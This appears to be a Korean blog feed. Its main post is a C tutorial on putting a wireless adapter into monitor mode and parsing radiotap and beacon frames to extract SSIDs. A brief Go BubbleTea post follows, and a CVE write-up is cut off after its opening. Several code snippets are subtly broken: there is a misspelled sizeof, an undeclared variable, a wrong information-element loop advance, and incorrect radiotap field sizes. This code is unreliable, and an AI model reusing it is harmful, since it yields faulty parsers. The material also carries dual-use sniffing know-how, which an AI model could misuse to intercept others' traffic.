이에 본 글에서는 외부 라이브러리의 사용을 최소화하여 무선 랜 프레임을 캡처하는 프로그램을 작성하기 위한 지식을 다룬다. 여기서 다루는 코드를 컴파일하고 실행하기 위해서는 우선 모니터 모드를 지원하는 무선 랜 어댑터가 있어야 한다: ipTIME N150UA2 (2.4GHz) [3], ipTIME A2000UA-4dBi (2.4 & 5GHz) [4]. 그리고 개발 환경으로는 우분투 22.04 [5] (리눅스 커널 버전: 6.5.0-15-generic)를 권장하며, sudo dmesg [6]를 사용할 수 있는 상태로 가정한다 (즉, 루트 권한도 사용할 수 있어야 한다).

본 글에서 사용하는 예제 코드들은 대부분 코드 조각이므로 완전한 예제 코드는 Wireless tool in C repo (URL: https://github.com/david232818/Wireless-tool-in-C)를 참고하라.

마지막으로, 당사자(송신인과 수신인)의 동의 없이, 그리고 통신비밀보호법, 형사소송법, 군사법원법의 규정에 의하지 않고 무선 랜 프레임을 캡처하는 것은 통신비밀보호법 제3조(통신 및 대화비밀의 보호) 등의 위반에 해당하며 제16조(벌칙) 등에 근거하여 법적 처벌을 받을 수 있다. 따라서 본 글의 내용은 모든 경우에 합법적이고, 연구 목적으로 사용되어야만 한다[11].

Monitor Mode To Capture Wireless Frames

무선 랜 프레임을 캡처하기 위해서는 무선 랜 어댑터를 모니터 모드로 설정해야 하며, 이를 위해서는 해당 무선 랜 어댑터가 모니터 모드를 지원해야 한다. 이렇게 모니터 모드로 설정된 어댑터는 수신 가능한 범위에서 전송되고 있는 모든 패킷을 수신할 수 있다. 모니터 모드와 비슷하게 프레임을 캡처할 수 있는 프로미스큐어스 모드 (promiscuous mode)가 존재한다. 하지만 모니터 모드는 Access Point (AP)에 연결되지 않고도, 즉 공유기에 연결되지 않아도 프레임 캡처가 가능한 반면, 프로미스큐어스 모드는 공유기에 연결되어야 프레임 캡처가 가능하다[1, 2].

우분투가 설치된 컴퓨터에 무선 랜 어댑터를 연결하면 커널은 해당 어댑터의 드라이버로 등록된 커널 모듈을 로드한다. 이는 sudo dmesg 명령어로 확인할 수 있으며, 무선 랜 어댑터의 경우 해당 어댑터에 해당하는 무선 랜 인터페이스의 이름이 표시된다[6].

$ sudo dmesg
...
[91112.413237] usb 2-1: new high-speed USB device number 16 using ehci-pci
[91112.790635] usb 2-1: New USB device found, idVendor=148f, idProduct=7601, bcdDevice= 0.00
[91112.790650] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[91112.790659] usb 2-1: Product: 802.11 n WLAN
[91112.790669] usb 2-1: Manufacturer: MediaTek
[91112.790677] usb 2-1: SerialNumber: 1.0
[91113.133362] usb 2-1: reset high-speed USB device number 16 using ehci-pci
[91113.502626] mt7601u 2-1:1.0: ASIC revision: 76010001 MAC revision: 76010500
[91113.515830] mt7601u 2-1:1.0: Firmware Version: 0.1.00 Build: 7640 Build time: 201302052146____
[91116.893475] mt7601u 2-1:1.0: Vendor request req:07 off:0730 failed:-110
[91118.927602] mt7601u 2-1:1.0: EEPROM ver:0d fae:00
[91119.633770] ieee80211 phy14: Selected rate control algorithm 'minstrel_ht'
[91119.808372] mt7601u 2-1:1.0 wlx588694f7cb14: renamed from wlan0
...
$

위 로그에서 “wlx588694f7cb14”가 무선 랜 인터페이스의 이름이 된다.

Opening wireless adapters via system calls

일반적으로 userland에서 디바이스를 제어하는 방법은 디바이스 파일을 열고 ioctl()의 command를 사용하는 것이다. 그럼 우리는 다음 두 가지를 알아야 한다:

Opening wireless adpater like device file
ioctl() command for wireless adapter that linux kernel provides

그럼 먼저 무선 랜 인터페이스를 디바이스 파일과 같이 여는 방법을 알아보겠다. 그 방법은 바로 소켓을 여는 것이다. 즉, 디바이스 파일 기술자에 적용되는 ioctl() 연산이 네트워크 소켓에도 적용될 수 있다는 것이다[8].

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <linux/if_ether.h>

int open_wlan_if(void)
{
    int fd;

    fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (fd == -1)
        fprintf(stderr, "Cannot open socket..\n");
    return fd;
}

그러나 이 소켓이 디바이스 파일처럼 그 디바이스를 특정하는 것은 아니다. 그래서 이 소켓 파일을 ioctl()에 전달하여 무선 랜 인터페이스를 제어하기 위해서는 해당 인터페이스를 특정하기 위한 정보를 커널에게 전달해주어야 한다. Linux ioctl()에는 command에 해당하는 데이터를 인자로 전달할 수 있다. 따라서 인터페이스를 특정하기 위한 정보를 이 인자에 포함시켜 ioctl()에 전달하면 된다[7].

이제 특정 무선 랜 인터페이스를 ioctl()로 제어하는 방법을 알아보겠다. Linux는 네트워크 디바이스를 설정하기 위한 표준적인 ioctls를 지원한다. 이는 모든 소켓 파일 기술자와 함께 사용될 수 있고, 다음과 같은 struct ifreq를 인자로 전달하여 사용하게 된다[9]:

struct ifreq {
    char ifr_name[IFNAMSIZ]; /* Interface name */
    union {
        struct sockaddr ifr_addr;
        struct sockaddr ifr_dstaddr;
        struct sockaddr ifr_broadaddr;
        struct sockaddr ifr_netmask;
        struct sockaddr ifr_hwaddr;
        short           ifr_flags;
        int             ifr_ifindex;
        int             ifr_metric;
        int             ifr_mtu;
        struct ifmap    ifr_map;
        char            ifr_slave[IFNAMSIZ];
        char            ifr_newname[IFNAMSIZ];
        char           *ifr_data;
    };
};

이때 커널은 ifr_name[]으로 인터페이스를 식별하고, union structure에 해당하는 값을 가져오거나, 해당하는 값으로 설정한다. 위 코드의 union structure에서 무선 랜 어댑터를 모니터 모드로 바꾸기 위한 멤버는 ifr_flags이다. 이 멤버는 해당 디바이스 (여기서는 무선 랜 인터페이스)의 활성화된 플래그를 얻거나 (ioctl command: SIOCGIFFLAGS) 설정할 때 (ioctl command: SIOCSIFFLAGS) 사용된다. 이 멤버는 다음과 같은 값들에 대한 비트 마스크를 가질 수 있다[7, 9]:

IFF_UP            Interface is running.
IFF_BROADCAST     Valid broadcast address set.
IFF_DEBUG         Internal debugging flag.
IFF_LOOPBACK      Interface is a loopback interface.
IFF_POINTOPOINT   Interface is a point-to-point link.
IFF_RUNNING       Resources allocated.
IFF_NOARP         No arp protocol, L2 destination address not
                set.
IFF_PROMISC       Interface is in promiscuous mode.
IFF_NOTRAILERS    Avoid use of trailers.
IFF_ALLMULTI      Receive all multicast packets.
IFF_MASTER        Master of a load balancing bundle.
IFF_SLAVE         Slave of a load balancing bundle.
IFF_MULTICAST     Supports multicast
IFF_PORTSEL       Is able to select media type via ifmap.
IFF_AUTOMEDIA     Auto media selection active.
IFF_DYNAMIC       The addresses are lost when the interface
                goes down.
IFF_LOWER_UP      Driver signals L1 up (since Linux 2.6.17)
IFF_DORMANT       Driver signals dormant (since Linux 2.6.17)
IFF_ECHO          Echo sent packets (since Linux 2.6.25)

위 값들 중에서 여기서 관심 가지는 비트 마스크는 IFF_UP 뿐임을 기억하라. 이 값은 인터페이스 모드를 바꿀 때 잠시 인터페이스를 down시키고 다시 up시키는데 사용된다. 이를 C 코드로 작성하면 다음과 같다[9, 10]:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/if_ether.h>

int if_down(const int fd, /* socket file descriptor */
          const char *ifname) /* interface name */
{
    struct ifreq ifr;
    
    if (fd == -1)
        return -1;

    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);    
    ifr.ifr_flags = (short) 0xffff;
    ifr.ifr_flags &= ~IFF_UP; /* interface down */
    if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1) {
        fprintf(stderr, "Interface down failed..\n");
	return -1;
    }
    return 0;
}

int if_up(const int fd, /* socket file descriptor */
          const char *ifname) /* interface name */
{
    struct ifreq ifr;
    
    if (fd == -1)
        return -1;
    
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);    
    ifr.ifr_flags = 0;
    ifr.ifr_flags |= IFF_UP; /* interface up */
    if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1) {
        fprintf(stderr, "Interface up failed..\n");
	return -1;
    }
    return 0;
}

그럼 무선 랜 인터페이스 모드는 어디에 정의되어 있을까? 바로 include/uapi/linux/wireless.h에 정의되어 있다[9, 10].

/* Modes of operation */
#define IW_MODE_AUTO	0	/* Let the driver decides */
#define IW_MODE_ADHOC	1	/* Single cell network */
#define IW_MODE_INFRA	2	/* Multi cell network, roaming, ... */
#define IW_MODE_MASTER	3	/* Synchronisation master or Access Point */
#define IW_MODE_REPEAT	4	/* Wireless Repeater (forwarder) */
#define IW_MODE_SECOND	5	/* Secondary master/repeater (backup) */
#define IW_MODE_MONITOR	6	/* Passive monitor (listen only) */
#define IW_MODE_MESH	7	/* Mesh (IEEE 802.11s) network */

그러나 struct ifreq에는 위 값들을 유의미하게 저장할 멤버가 없다. 즉, 위 값들을 가져오거나 설정하기 위해서는 다른 ioctl command를 사용해야 하고, 이에 해당하는 구조체가 필요하다. 그 command와 구조체는 include/uapi/linux/wireless.h에 정의되어 있으며, 각각 다음과 같다[10]:

/* ... */

#define SIOCSIWMODE	0x8B06		/* set operation mode */
#define SIOCGIWMODE	0x8B07		/* get operation mode */

/* ... */

/*
 * This structure defines the payload of an ioctl, and is used
 * below.
 *
 * Note that this structure should fit on the memory footprint
 * of iwreq (which is the same as ifreq), which mean a max size of
 * 16 octets = 128 bits. Warning, pointers might be 64 bits wide...
 * You should check this when increasing the structures defined
 * above in this file...
 */
union iwreq_data {
	/* Config - generic */
	char		name[IFNAMSIZ];
	/* Name : used to verify the presence of  wireless extensions.
	 * Name of the protocol/provider... */

	struct iw_point	essid;		/* Extended network name */
	struct iw_param	nwid;		/* network id (or domain - the cell) */
	struct iw_freq	freq;		/* frequency or channel :
					 * 0-1000 = channel
					 * > 1000 = frequency in Hz */

	struct iw_param	sens;		/* signal level threshold */
	struct iw_param	bitrate;	/* default bit rate */
	struct iw_param	txpower;	/* default transmit power */
	struct iw_param	rts;		/* RTS threshold */
	struct iw_param	frag;		/* Fragmentation threshold */
	__u32		mode;		/* Operation mode */
	struct iw_param	retry;		/* Retry limits & lifetime */

	struct iw_point	encoding;	/* Encoding stuff : tokens */
	struct iw_param	power;		/* PM duration/timeout */
	struct iw_quality qual;		/* Quality part of statistics */

	struct sockaddr	ap_addr;	/* Access point address */
	struct sockaddr	addr;		/* Destination address (hw/mac) */

	struct iw_param	param;		/* Other small parameters */
	struct iw_point	data;		/* Other large parameters */
};

/*
 * The structure to exchange data for ioctl.
 * This structure is the same as 'struct ifreq', but (re)defined for
 * convenience...
 * Do I need to remind you about structure size (32 octets) ?
 */
struct iwreq {
	union
	{
		char	ifrn_name[IFNAMSIZ];	/* if name, e.g. "eth0" */
	} ifr_ifrn;

	/* Data part (defined just above) */
	union iwreq_data	u;
};

/* ... */

위 코드에서 ifr_name[] 역할을 하는 것은 ifrn_name[]이다. 그리고 struct iwreq_data의 mode 멤버를 통해 현재 모드 값을 가져오거나, 모드 값을 설정할 수 있다. 이를 C 코드로 작성하면 다음과 같다[10]:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/wireless.h>

int iw_set_monitor_mode(const int fd, /* socket file descriptor */
                        const char *ifname) /* interface name */
{
    struct iwreq iwr;
    
    if (fd == -1)
        return -1;

    strncpy(iwr.ifr_ifrn.ifrn_name, ifname, IFNAMSIZ);
    iwr.u.mode = IW_MODE_MONITOR;
    if (ioctl(fd, SIOCSIWMODE, &iwr) == -1) {
        fprintf(stderr, "Setting monitor mode failed..\n");
	return -1;
    }
    return 0;
}

지금까지 설명한 것을 종합하여 어댑터 모드를 설정하는 순서를 정리하면 다음과 같다:

Open socket file
Set interface flag to down
Set interface wireless mode flag to IW_MODE_MONITOR
Set inter face flag to up

위 순서에 대한 완전한 예제 코드는 Wireless tool in C의 prv_ieee80211_set_if_mode()를 참고하라.

Capturing wireless frames in the air

이렇게 모니터 모드가 구성되었으므로 무선 랜 프레임을 캡처할 수 있다. 그 방법은 바로 read() system call을 호출하는 것이다[16].

#include <stdio.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>

/*
 * admp_hexdump: hexdump function written by ccbrown;
 * thanks to ccbrown!!
 */
void ccbrown_hexdump(const void* data, size_t size)
{
    char ascii[17];
    size_t i, j;

    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
	printf("%02X ", ((unsigned char *) data)[i]);
	if (((unsigned char *) data)[i] >= ' ' 
	    && ((unsigned char *) data)[i] <= '~') {
	    ascii[i % 16] = ((unsigned char *) data)[i];
	} else {
	    ascii[i % 16] = '.';
	}
	if ((i + 1) % 8 == 0 || i + 1 == size) {
	    printf(" ");
	    if ((i + 1) % 16 == 0) {
		printf("|  %s \n", ascii);
	    } else if (i + 1 == size) {
		ascii[(i + 1) % 16] = '\0';
		if ((i + 1) % 16 <= 8) {
		    printf(" ");
		}
		for (j = (i + 1) % 16; j < 16; ++j) {
		    printf("   ");
		}
		printf("|  %s \n", ascii);
	    }
	}
    }
}

int ieee80211_pcap(int fd) /* socket file descriptor */
{
    uint8_t buff[BUFSIZ];
    ssize_t len;
    
    if (fd == -1)
        return -1;
    
    while ((len = read(fd, buff, BUFSIZ)) >= 0)
        ccbrown_hexdump(buff, len);
    return 0;
}

위 코드를 보면 무선 랜 프레임을 캡처하는 것은 매우 간단해보인다. 그러나 문제는 위 코드로 출력되는 값들의 의미를, 아스키 코드로 표현되는 것이 아니라면 전혀 알 수 없다는 것이다. 그래서 무선 랜 프레임을 분석해볼 필요가 있다.

Wireless Frame Analysis

무선 랜 프레임에는 그 크기가 정해진 필드도 있지만 가변 필드도 존재한다. 그리고 이러한 가변 필드들은 무선 랜 프레임 파싱을 어렵게 만든다. 하지만 가변 필드에도 나름의 원칙이 있기 때문에 이를 기억한다면 파싱하는 것은 그다지 어렵지 않다. 그럼 Beacon frame (무선 랜 AP 또는 와이파이 공유기가 자신의 존재를 알리는 프레임)으로부터 SSID (무선 랜 AP의 이름 또는 와이파이 공유기 이름)를 파싱하는 것을 목표로, 시작해보겠다.

무선 랜 프레임은 일반적으로 radiotap header (de facto standard)와 IEEE 802.11 frame으로 구성된다. 여기서는 IEEE 802.11 frame에서 SSID만 추출할 것이기 때문에 radiotap header가 그다지 비중있게 다루어지지는 않지만, radiotap header는 신호 세기와 같은 유용한 정보들을 담고 있고 이를 파싱하는 것은 예제로 제공할 것이다[13, 14].

Radiotap header를 분석하기에 앞서서, 가변 필드의 구성 원칙을 알아보자. 무선 랜 프레임에서 가변 필드는 TLD 형식으로 구성된다. TLD 형식이란 Type (EID로 표현됨), Length, Data로 필드를 구성하는 형식을 의미한다. 이때 type은 해당 필드가 어떤 정보를 가지고 있는지, length는 해당 필드의 길이, data는 실제 데이터를 의미한다. 그럼 우리는 다음과 같이 가변 필드에 대한 구조체를 정의할 수 있다[12]:

struct tld {
    unsigned int type;
    size_t len;
    unsigned char data[];
};

Radiotap header

Radiotap header는 다음과 같이 구성된다[13]:

             [version][padding][length][present|extended][ ... ]
byte length:    1        1        2       4       4

위 그림에서 present 부분이 의미하는 것은 4 바이트 값인 present에 따라 extended가 될 수도 있고 안될 수도 있다는 것이다. Radiotap header에는 present 값에 따라 추가되는 필드들이 존재한다. 즉, present 값에 따라 시작 주소에서 추출하고자 하는 필드까지의 offset이 달라진다는 것이다[13].

이를 파싱하기 위해서는 present의 각 비트에 따른 길이 값을 테이블로 만들고 ([13]의 https://www.radiotap.org/fields/defined 참고) 인덱스 기반으로 offset을 구해야 한다. 이러한 방식으로 신호 세기 필드까지의 offset을 구하는 C 코드를 작성하면 다음과 같다[10, 13, 14]:

#include <stdint.h>
#include <stddef.h>

struct radiotap_hdr {
    uint8_t ver; /* version */
    uint8_t pad; /* padding */
    uint16_t len; /* entire length of radiotap header */
    uint32_t present;
    uint8_t variable[]; /* payload */
} __attribute__((__packed__));

unsigned int radiotap_get_offset(uint64_t present,
			        unsigned int bit_loc) /* bit location of
				                         specific field */
{
    unsigned int offsettab[] = {
	sizeof(uint64_t),	/* TSFT */
	sizeof(uint8_t),	/* Flags */
	sizeof(uint8_t),	/* Rate */
	sizeof(uint16_t),	/* Channel */
	sizeof(uint8_t) + sizeof(uint8_t) /* hop set + hop pattern */

	/* [TODO] Add defined fields */
    };
    unsigned int offset;
    uint64_t mask, i;

    offset = 0;
    for (i = 0; i < bit_loc; i++) {
	mask = 1 << i;
	if (mask & present)
	    offset += offsettab[i];
    }
    return offset;
}

int get_antsig(void *buff, uint16_t len)
{
    unsigned int offset;
    struct radiotap_hdr *header;
    
    header = buff;
    offset = radiotap_get_offset(header->present, 5);
    if (header->present & (1 << 31))
        offset += sizoef(uint32_t);
    return *(header->variable + offset);
}

그럼 bit_loc은 어떻게 구할 수 있을까? 이것 또한 [13]의 https://www.radiotap.org/fields/defined 를 참고하여 해당 필드가 몇 번째 비트로 정의되어 있는지 알 수 있다.

이러한 radiotap header가 앞에 존재할 때 IEEE 802.11 frame의 시작 주소를 구하는 방법은 무엇일까? 바로 상기의 struct radiotap_hdr의 len 멤버를 캡처된 데이터의 시작주소에 더하는 것이다. 이제 IEEE 802.11 frame을 분석할 차례다.

IEEE 802.11 Frame Analysis

Generic한 무선 랜 프레임은 다음과 같이 구성된다[15]:

             [Frame  ][Duration][addr1][addr2][addr3][Sequence][addr4][ ... ][FCS]
              Control][ID      ][     ][     ][     ][Control ][     ][     ][   ]
byte length:    2        2         6      6      6      2         6    0-2312  4

Generic한 프레임이라는 것은 프레임의 종류에 따라 헤더의 구성이 달라질 수 있다는 뜻이다. 그리고 프레임의 종류는 위 헤더의 Frame Control 필드의 값에 따라 결정된다. 이 필드는 다시 여러 비트 필드로 나뉘어지는데, 여기서 관심을 가지는 필드는 type과 subtype이다. 전자는 프레임의 종류를 결정하고, 전자로부터 결정된 프레임 종류 내에서의 하위 분류를 나타낸다[15].

      [Protocl][Type ][Subtype ][To DS][From DS][More][Retry][Power][WEP][Rsvd]
      [Version][     ][        ][     ][       ][Flag][     ][Mgmt ][   ][    ]
bit   :  2        2         4       1       1       1     1     1     1    1
length

여기서 추출하고자 하는 정보는 beacon frame에서의 SSID이므로 beacon frame에 초점을 맞출 것이다. 먼저 frame control 필드의 type은 다음과 같은 값을 가질 수 있고,

@ 00: Management frame
@ 01: Control frame
@ 10: Data frame

management frame의 subtype은 다음과 같이 값에 따라 나뉘어진다[15]:

@ 0000: Association request frame
@ 0001: Association response frame
@ 0010: Reassociation request frame
@ 0011: Reassociation response frame
@ 0100: Probe request frame
@ 0101: Probe response frame
@ 1000: Beacon frame
@ 1001: ATIM
@ 1010: Association destroy frame
@ 1011: Authentication frame
@ 1100: Deauthentication frame

위 정보를 이용하여 캡처된 프레임이 management frame인지 확인하는 것을 C 코드로 작성하면 다음과 같다[10]:

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/types.h>

struct admp_ieee80211_frame_control {
    uint16_t proto: 2,
	    type: 2,
	    subtype: 4,
	    ds: 2,		/* [tods][fromds] */
	    moreflag: 1,
	    retry: 1,
	    pwrmgmt: 1,
	    moredata: 1,
	    wep: 1,
	    order: 1;
} __attribute__((__packed__));

struct admp_ieee80211_sequence_control {
    uint16_t fragnum: 4,
	    seqnum: 12;
} __attribute__((__packed__));

/*
 * This header structure is for generic case. But in IEEE 802.11,
 * header structure varies by frame categories.
 */
struct admp_ieee80211_mac_frame {
    struct admp_ieee80211_frame_control fc;
    uint16_t durid;		/* Duration / ID */
    uint8_t addr1[6];
    uint8_t addr2[6];
    uint8_t addr3[6];
    struct admp_ieee80211_sequence_control seqctl;
    uint8_t addr4[6];
    uint8_t variable[];
} __attribute__((__packed__));

struct admp_ieee80211_mac_trailer {
    uint32_t fcs;
} __attribute__((__packed__));

/* ieee80211_parser: parse given buff as a generic frame */
static int ieee80211_parser(void *buff, /* captured frame */
	      	            ssize_t len) /* captured frame's length */
{
    struct admp_ieee80211_mac_frame *frame;

    if (buff == NULL || ap == NULL || len < 0) {
        fprintf(stderr, "Invalid arguments..\n");
	return -1;
    }
    
    frame = buff;
    switch (frame->fc.type) {
    case 0b00:
	/* Management frame */
	break;
    case 0b01:
	/* Control frame */
	break;
    case 0b10:
	/* Data frame */
	break;
    default:
	break;
    }
    return 0;
}

이렇게 수신된 프레임이 management frame으로 확인되면, 헤더의 구성이 달라진다. Management frame, 그 중에서도 beacon frame의 헤더 구성은 다음과 같다[15]:

             [Frame  ][Duration][addr1][addr2][addr3][Sequence][ ... ][FCS]
              Control][ID      ][     ][     ][     ][Control ][     ][   ]
byte length:    2        2         6      6      6      2       0-2312  4


[ ... ]:     [Timestamp][Beacon  ][Capacity   ][  SSID  ][Option field]
             [         ][Interval][Information][        ][            ]
byte length:     8          2          3        variable    variable
                                                length      length
             <-----------------Required-----------------><--Optional-->

위 헤더의 가변 길이로 표시된 SSID와 Option field가 바로 가변 필드에 해당하는 부분이며, TLD 형식을 따른다. 여기서 상기에 설명한 TLD 구성 원칙을 기억하면서 beacon frame을 파싱하는 코드를 작성하면 다음과 같다[10, 12, 15]:

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/types.h>

#define IS_X_IN_RANGE(min, x, max) (((x) >= (min)) && (x) < (max))

struct admp_ieee80211_mgmt_frame {
    /* header */
    struct admp_ieee80211_frame_control fc;
    uint16_t durid;
    uint8_t addr1[6];
    uint8_t addr2[6];
    uint8_t addr3[6];
    struct admp_ieee80211_sequence_control seqctl;
    uint8_t variable[];
} __attribute__((__packed__));

struct admp_ieee80211_beacon {
    uint64_t tmstamp;		/* Timestamp */
    uint16_t interval;		/* Beacon interval */
    uint16_t capinfo;		/* Capability information */
    uint8_t variable[];		/* Information Elements */
} __attribute__((__packed__));

struct admp_ieee80211_tlv {
    uint8_t type;		/* EID */
    uint8_t len;		/* Length */
    uint8_t value[];		/* Data */
} __attribute__((__packed__));

/* ieee80211_beacon_parser: parse given frame as a beacon frame */
static int
ieee80211_beacon_parser(struct admp_ieee80211_mgmt_frame *frame,
			    ssize_t len)
{
    unsigned int done;
    struct admp_ieee80211_beacon *beacon;
    struct admp_ieee80211_tlv *ie;

    if (frame == NULL || ap == NULL || len < 0) {
        fprintf(stderr, "Invalide argument..\n");
	return -1;
    }

    beacon = (struct admp_ieee80211_beacon *) frame->variable;
    ie = (struct admp_ieee80211_tlv *) beacon->variable;
    done = 0;
    while (len > 0 && done == 0) {
	if (!IS_X_IN_RANGE(0, ie->len, len))
	    break;
	
	switch (ie->type) {
	case 0x00:
	    /* SSID */
	    strncpy(ap->ssid, (char *) ie->value, ie->len);
	    break;
	default:
	    done = 1;
	    break;
	}
	ie = (struct admp_ieee80211_tlv *) ((uint8_t *) ie + ie->len);
	len -= ie->len;
    }
    return 0;
}

/* ieee80211_mgmt_parser: parse given buff as a management frame */
static int ieee80211_mgmt_parser(void *buff, /* captured frame */
					    ssize_t len) /* captured frame's length */
{
    struct admp_ieee80211_mgmt_frame *frame;

    if (buff == NULL || ap == NULL || len < 0) {
        fprintf(stderr, "Invalid arguments..\n");
	return -1;
    }
    
    frame = buff;

    /* printf("%d\n", frame->fc.subtype); */
    switch (frame->fc.subtype) {
    case 0b0000:
	/* Association request frame */
	break;
    case 0b1000:
	/* Beacon frame */
	ieee80211_beacon_parser(frame, len);
	break;
    default:
	break;
    }
    return 0;
}

Conclusion

지금까지 가능한 linux kernel이 제공하는 system call과 C 언어의 표준 라이브러리가 제공하는 기능만을 사용하여 무선 랜 프레임을 캡처하는 프로그램을 작성하기 위한 지식을 알아보았다. 이는 무선 랜 인터페이스를 모니터 모드로 바꾸는 것으로 시작하여 무선 랜 프레임 중 beacon frame을 파싱하는 코드를 작성하는 것으로 끝을 맺었다. 비록 코드 조각으로 예제를 제공하였지만, 완전한 예제 코드를 이해하는 데에는 무리가 없을 것이라고 생각한다.

물론, 여기서 제공한 예제들은 (심지어 완전한 예제 코드라고 지칭한 것도) 한정적인 목적에만 부합하도록 작성되어 있다. 따라서 이들이 완전한 파서로 기능하기 위해서는 다른 radiotap header 필드, 다른 프레임들, 다른 TLD 형식 값들도 고려되어야 할 것이다.

References

He-Jun Lu and Yang Yu, “Research on WiFi Penetration Testing with Kali Linux,” Hindawi, vol. 2021, Article ID 5570001, 2021.
Vladimir Leiv, “What is the difference between Promiscuous and Monitor mode in Wireless Networks?,” 2013. [Online]. Available: https://security.stackexchange.com/questions/36997/what-is-the-difference-between-promiscuous-and-monitor-mode-in-wireless-networks, [Accessed Feb. 06, 2024].
“ipTIME N150UA2”, [Online]. Available: https://iptime.com/iptime/?page_id=11&pf=9&page=&pt=499&pd=1, [Accessed Feb. 06, 2024].
“ipTIME A2000UA-4dBi”, [Online]. Available: https://iptime.com/iptime/?page_id=11&pf=8&page=&pt=248&pd=1, [Accessed Feb. 06 2024].
“Ubuntu 22.04.3 LTS (Jammy Jellyfish),” 2022. [Online]. Available: https://releases.ubuntu.com/jammy/, [Accessed Feb. 06, 2024].
“dmesg(1) – Linux manual page,” 2023. [Online]. Available: https://man7.org/linux/man-pages/man1/dmesg.1.html, [Accessed Feb. 06, 2024].
“ioctl(2) – Linux manual page,” [Online]. Available: https://man7.org/linux/man-pages/man2/ioctl.2.html, [Accessed Feb. 06, 2024].
Jean Tourrilhes, “Wireless Extensions for Linux,” 1997. [Online]. Available: https://hewlettpackard.github.io/wireless-tools/Linux.Wireless.Extensions.html, [Accessed Feb. 07, 2024].
“netdevice(7) – Linux manual page,” [Online]. Available: https://man7.org/linux/man-pages/man7/netdevice.7.html, [Accessed Feb. 07, 2024].
torvalds, “Linux kernel,” 2024. [Online]. Available: https://github.com/torvalds/linux, [Accessed Feb. 07, 2024].
“통신비밀보호법”, 법무부(공공형사과) 및 과학기술정보통신부(통신자원정책과), 2022. [Online]. Available: https://www.law.go.kr/%EB%B2%95%EB%A0%B9/%ED%86%B5%EC%8B%A0%EB%B9%84%EB%B0%80%EB%B3%B4%ED%98%B8%EB%B2%95, [Accessed Feb. 07, 2024].
Nico Waisman, “Anatomy of a Coffee Bean (Wireless Vulnerabilities in Linux Kernel),” 2019. [Online]. Available: https://securitylab.github.com/research/anatomy-of-a-coffee-bean-wireless-vulnerabilities-in-linux-kernel/, [Accessed Feb. 08, 20224].
“Radiotap,” [Online]. Available: https://www.radiotap.org/, [Accessed Feb. 08, 2024].
2N(nms200299), “[802.11] RadioTab Header(헤더) 분석”, 2021. [Online]. Available: https://blog.naver.com/nms200299/222267279476, [Accessed Feb. 08, 2024].
“802.11 MAC Frame, WLAN MAC Frame 802.11 MAC 프레임”, 정보통신기술용어해설. [Online]. Available: http://www.ktword.co.kr/test/view/view.php?m_temp1=3352, [Accessed Feb. 07, 2024].
ccbrown, “Compact C Hex Dump Function w/ASCII,” [Online]. Available: https://gist.github.com/ccbrown/9722406, [Accessed Feb. 08, 2024].

Go - TUI 라이브러리 BubbleTea

Sat, 03 Feb 2024 04:17:22 +0000

개요

Go에는 라이브러리 사이트를 통해 여러 라이브러리를 검색할 수 있다.

하지만 검색 사이트의 성능이 좋지 않아, 대부분 어떤 상황에 어떤 라이브러리가 좋은지 찾기 어려우며, 라이브러리를 찾아도 사용법을 모를 떄가 많다.

오늘은 BubbleTea Go TUI 라이브러리를 소개하고, 이에 대한 사용법을 소개한다.

소개

BubbleTea는 charm.sh에서 만든 TUI 라이브러리로, charm.sh의 여러 라이브러리 중 가장 주요하게 사용되는 라이브러리 입니다.

해당 라이브러리 외에도 charm.sh에서 텍스트 스타일링 라이브러리(LipGloss), 컴포넌트 라이브러리(Bubbles)등을 찾을 수 있으며, 간단한 입력 폼을 만들때는 폼 프레임워크(Hug)를 이용할 수 있습니다.

설치

BubbleTea는 사용하고자 하는 Go 프로젝트 폴더에서, 터미널로 go get github.com/charmbracelet/bubbletea 를 입력해 설치할 수 있으며,

보통 import tea "github.com/charmbracelet/bubbletea"를 통해 tea로 단축하여 사용합니다.

사용법

BubbleTea를 실행하는 방법은, tea.Model을 구현하고 있는 타입을 tea.NewProgram(model).Run()명령을 통해 사용할 수 있다.

type model struct {
  // 데이터들이 이곳에 들어갑니다.
}
func (m model) Init() tea.Cmd {
  return nil // 초기화해주는 함수, 일반적으로는 nil을 사용
}
func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
  // 입력이 일어났을 때, msg로 어떤 입력이 들어왔는지 들어온다
    // 로직을 처리한 후, 값을 수정하여 m 객체를 리턴한다.
  switch msg := msg.(type) {
  case tea.KeyMsg:
    switch msg.String() {
    case "ctrl+c":
    // 종료
    case "tab":
    // 다음
    case "shift+tab":
    // 뒤로가기
    }
  case tea.MouseMsg:
  // ...
  }
  return m, nil
  // return m, tea.Quit 로 프로그램을 종료시킬수도 있다. 하지만 그 외 다른 명령어들은 별로 없는 듯 하다.
}
func (m model) View() string {
  s := ""
  // 연산된 값을 가지고 출력할 내용을 반환한다.
  // 이곳에서 로그를 찍거나 출력을 하면 TUI가 깨지게 된다.
  return s
}

위와 같은 방식으로 TUI를 제작할 수 있으며, 이후 자유롭게 출력할 내용을 정하거나, 입력에 따라 연산을 진행할 수 있다.

기능은 많이 없지만 필요한건 있는 듯 하다.

추가적으로 필요한 내용이 있으면 직접 작서애향 할 것 같다.

무엇보다 버튼을 누르지 않으면 View가 업데이트 되지 않아서 별로였다.

누르지 않았을 때 View를 업데이트하려면 몇 이벤트를 던져야 할 듯 하다.

CVE-2024-23848

Fri, 02 Feb 2024 00:00:00 +0000

Introduction
Background
Root Cause Analysis
References

Introduction

본 취약점은 linux의 HDMI Consumer Electronics Control (CEC) framework에서 발생한 취약점으로, CEC 디바이스를 release할 때 적절한 lock이 걸려 있지 않아 발생하였다[1, 2].

